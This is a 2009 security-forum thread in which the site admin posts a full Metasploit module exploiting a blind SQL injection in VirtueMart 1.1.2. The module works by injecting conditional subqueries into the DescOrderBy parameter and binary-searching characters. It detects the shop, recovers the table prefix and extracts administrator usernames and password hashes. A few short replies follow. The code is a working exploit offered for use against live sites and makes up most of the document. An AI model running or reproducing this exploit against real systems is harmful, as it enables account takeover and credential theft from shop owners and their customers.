|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
VirtueMart 1.1.2 Blind Sql Injection Exploit |
|
Posted: Wed Mar 25, 2009 6:41 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Features:
1. Blind Injection based on induced sql errors - better performance compared to delay-based exploitation (benchmark() and sleep())
2. Can handle bad network conditions (common scenario using proxies)
3. Is able to retrieve custom sql table prefix from information_schema
4. Can fetch username and password hash for specific user ID and/or user group
5. Can handle Joomla's 32-, 49- and 65-chars hashes
6. Thorough pre-testing (4 tests)
Prerequisites:
1. MySql >= 4.1 with subselects suppport for exploit to work
2. MySql >= 5.0 with information_schema for prefix autofetcher
http://www.waraxe.us/tools/metasploits/virtuemart_112_sql.rb
Code: |
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
'Description' => %q{
This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
},
'Author' => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>',
'License' => MSF_LICENSE,
'Version' => '1.0',
'References' =>
[
['BID', '33480'],
['URL', 'http://www.waraxe.us/advisory-71.html'],
['URL', 'http://secunia.com/advisories/33671/']
],
'DisclosureDate' => 'Jan 24 2009'))
register_options(
[
OptString.new('URI', [false, 'Path to VirtueMart', '']),
OptInt.new('TARGETID', [false, 'Target ID (optional)']),
OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),
OptBool.new('ALLSA', [ false, 'Fetch all Super Admins', true]),
OptBool.new('ALLA', [ false, 'Fetch all Admins', false]),
OptBool.new('ALLM', [ false, 'Fetch all Managers', false]),
], self.class)
end
def run
@marker = 'name="addtocart"'
@target_uri = '/' + datastore['URI'] + '/'
@target_uri = @target_uri.gsub(/\/{2,}/, '/')
@target_id = datastore['TARGETID']
@target_prefix = datastore['PREFIX']
@requests = @fetched = 0
time_start = Time.now.to_i
# debug_level=2 - more debug messages, 1 - less
@debug_level = 1
if(!pre_test)
print_error('Exploit failed in pre-test phase')
return
end
if(datastore['ALLSA'])
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end
if(datastore['ALLA'])
if(!get_users(2))
print_error('Exploit failed fetching Admins')
return
end
end
if(datastore['ALLM'])
if(!get_users(3))
print_error('Exploit failed fetching Managers')
return
end
end
if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))
print_status('Target ID or group(s) not specified, fetching Super Admins as default')
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end
if(@target_id > 1)
if(!get_user())
print_error("Exploit failed fetching user with ID=#{@target_id}")
return
end
end
time_spent = Time.now.to_i - time_start
print_status("Exploitation results:")
print_status("Got data for #{@fetched} users")
print_status("Total time spent: #{time_spent} seconds")
print_status("HTTP requests needed: #{@requests}")
end
############################################################
def make_post(post_data)
timeout = 30
begin
res = send_request_cgi({
'uri' => @target_uri,
'method' => 'POST',
'data' => post_data,
}, timeout)
if(res and res.body)
@requests += 1
return res.body
else
print_error('No response from server')
return nil
end
rescue ::Exception
print_error("Error: #{$!.class} #{$!}")
return nil
end
end
############################################################
def test_condition(condition)
max_tries = 10
post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"
post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"
1.upto(max_tries) do |i|
buf = make_post(post_data)
if(buf)
return buf.include?(@marker)
else
print_status("Sleeping #{i} seconds")
sleep(i)
print_status("Awake, retry ##{i}")
end
end
return nil
end
############################################################
def pre_test
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
buf = make_post(post_data) or return false
if(!buf.include?(@marker))
print_error('Pre-test 1 failed - VirtueMart not detected')
return false
else
print_status('Pre-test 1 passed - VirtueMart detected')
end
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'
buf = make_post(post_data) or return false
if(buf.include?(@marker))
print_error('Pre-test 2 failed - target is patched?')
return false
else
print_status('Pre-test 2 passed - injection detected')
end
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'
buf = make_post(post_data) or return false
if(!buf.include?(@marker))
print_error('Pre-test 3 failed - subselects not supported?')
return false
else
print_status('Pre-test 3 passed - subselects supported')
end
if(@target_prefix == '')
print_status('Prefix not provided, trying to fetch')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}")
return true
end
end
post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +
"(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"
buf = make_post(post_data) or return false
if(!buf.include?(@marker))
print_error('Pre-test 4 failed - wrong prefix?')
print_status('Trying to fetch valid prefix')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}")
return true
end
else
print_status('Pre-test 4 passed - prefix OK')
end
return true
end
############################################################
def get_char(pattern, min, max)
num = get_num(pattern, min, max) or return nil
return num.chr
end
############################################################
def get_hash(group = nil, u_pos = nil)
hash = ''
if(group and u_pos)
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end
p_len = get_num(pattern, 32, 100) or return nil
print_status("Got hash length: #{p_len.to_s}")
1.upto(p_len) do |pos|
print_status("Finding hash char pos #{pos}") if @debug_level > 0
if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end
c = get_char(pattern, 32, 128) or return nil
hash << c
print_status("Known: #{hash}") if @debug_level > 0
end
return hash
end
############################################################
def get_prefix
prefix = ''
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' +
'(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'
buf = make_post(post_data) or return false
if(!buf.include?(@marker))
print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')
return false
else
print_status('INFORMATION_SCHEMA detected, proceed')
end
pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +
' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'
p_len = get_num(pattern, 5, 100) or return nil
p_len -= 10
if(p_len < 0)
print_error("Invalid prefix length: #{p_len.to_s}")
return false
elsif(p_len == 0)
print_status('Prefix seems to be empty')
@target_prefix = ''
return true
else
print_status("Got prefix length: #{p_len.to_s}")
end
1.upto(p_len) do |pos|
print_status("Finding prefix char pos #{pos}") if @debug_level > 0
pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +
" WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"
c = get_char(pattern, 32, 128) or return nil
prefix << c
print_status("Known: #{prefix}") if @debug_level > 0
end
return prefix
end
############################################################
def get_num(pattern, min = 1, max = 100)
curr = 0;
while(1)
area = max - min
if(area < 2 )
post_data = "#{pattern}=#{max}"
eq = test_condition(post_data)
if(eq == nil)
return nil
elsif(eq)
len = max
else
len = min
end
break
end
half = area / 2
curr = min + half
post_data = "#{pattern}>#{curr}"
bigger = test_condition(post_data)
if(bigger == nil)
return nil
elsif(bigger)
min = curr
else
max = curr
end
print_status("Current: #{min}-#{max}") if @debug_level > 1
end
return len
end
############################################################
def get_username(group = nil, u_pos = nil)
username = ''
if(group and u_pos)
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end
u_len = get_num(pattern, 1, 150) or return nil
print_status("Got username length: #{u_len.to_s}")
1.upto(u_len) do |pos|
print_status("Finding username char pos #{pos}") if @debug_level > 0
if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end
c = get_char(pattern, 32, 128) or return nil
username << c
print_status("Known: #{username}") if @debug_level > 0
end
return username
end
############################################################
def get_users(group)
if(group == 1)
usertype = '0x53757065722041646d696e6973747261746f72'
print_status('Starting to fetch all Super Admins')
elsif(group == 2)
usertype = '0x41646d696e6973747261746f72'
print_status('Starting to fetch all Admins')
else
usertype = '0x4d616e61676572'
print_status('Starting to fetch all Managers')
end
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"
u_cnt = get_num(pattern, 0, 100) or return nil
print_status("Targets to fetch: #{u_cnt.to_s}")
0.upto(u_cnt - 1) do |pos|
print_status("Fetching user pos #{pos}")
username = get_username(usertype, pos) or return nil
hash = get_hash(usertype, pos) or return nil
@fetched += 1
print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)
end
return true
end
############################################################
def get_user
print_status("Testing user ID=#{@target_id}")
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"
u_cnt = get_num(pattern, 0, 100) or return nil
if(u_cnt != 1)
print_error("No user with ID=#{@target_id}")
return true
end
print_status("Working with user ID=#{@target_id}")
username = get_username or return nil
hash = get_hash or return nil
@fetched += 1
print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)
return true
end
############################################################
end
|
|
|
Last edited by waraxe on Tue Mar 31, 2009 9:35 am; edited 2 times in total |
|
|
|
|
|
|
|
Posted: Mon Mar 30, 2009 5:25 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Wassap, people? Noone interested in trying? No feedback? |
|
|
|
|
Posted: Mon Mar 30, 2009 5:29 pm |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
Сорри дружище, но просто времени нихрена нету потестить.
btw
... у тебя ретрив пароля не работает |
|
|
|
|
Posted: Mon Mar 30, 2009 5:44 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
pexli wrote: | Сорри дружище, но просто времени нихрена нету потестить.
btw
... у тебя ретрив пароля не работает |
You mean forum password restore functionality? Noone has complained so far, so I have no idea
Maybe mailbox spamfiltering? |
|
|
|
|
Posted: Mon Mar 30, 2009 6:01 pm |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
Попробую есчо завтра на работе.Если не успею отпишу. |
|
|
|
|
Posted: Tue Aug 10, 2010 4:06 am |
|
|
sk8er |
Advanced user |
|
|
Joined: May 09, 2005 |
Posts: 64 |
|
|
|
|
|
|
|
Wow mr. Waraxe , you make a metasploit module, is elegant
congratulations, and I'm interesed in this, sql injection is the theme for my thesis
saludos, and good luck
( what I do one equal ? ) |
|
|
|
|
www.waraxe.us Forum Index -> Metasploit related
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|